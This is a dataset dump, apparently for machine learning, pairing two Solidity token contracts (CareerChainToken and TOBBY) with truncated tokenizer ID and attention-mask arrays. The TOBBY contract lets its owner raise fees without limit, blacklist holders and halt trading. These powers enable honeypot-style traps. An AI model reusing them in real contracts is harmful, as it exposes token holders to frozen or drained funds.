source_code
stringlengths 52
864k
| success
stringclasses 1
value | input_ids
list | attention_mask
list |
---|---|---|---|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
//CCH is a capped token with a max supply of 145249999 tokenSupply
//It is a burnable token as well
contract CareerChainToken is CappedToken(145249999000000000000000000), BurnableToken {
string public name = "CareerChain Token";
string public symbol = "CCH";
uint8 public decimals = 18;
//only the owner is allowed to burn tokens
function burn(uint256 _value) public onlyOwner {
_burn(msg.sender, _value);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
11387,
22083,
2594,
1008,
1030,
16475,
16325,
2544,
1997,
9413,
2278,
11387,
8278,
1008,
1030,
16475,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
20311,
1008,
1013,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
3853,
2219,
3085,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
11387,
8278,
1008,
1030,
16475,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1008,
1013,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
// SPDX-License-Identifier: UNLICENSED
//https://t.me/TobbyEthPortal/8
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TOBBY is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "TOBBY";//////////////////////////
string private constant _symbol = "TOBBY";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 5;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 5;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x014d5e312654A87dC37F99bb782261fE0c919818);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x014d5e312654A87dC37F99bb782261fE0c919818);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 100000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;
bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;
bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;
bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;
bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;
bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5709,
1011,
5890,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1013,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
2000,
14075,
11031,
6442,
2389,
1013,
1022,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
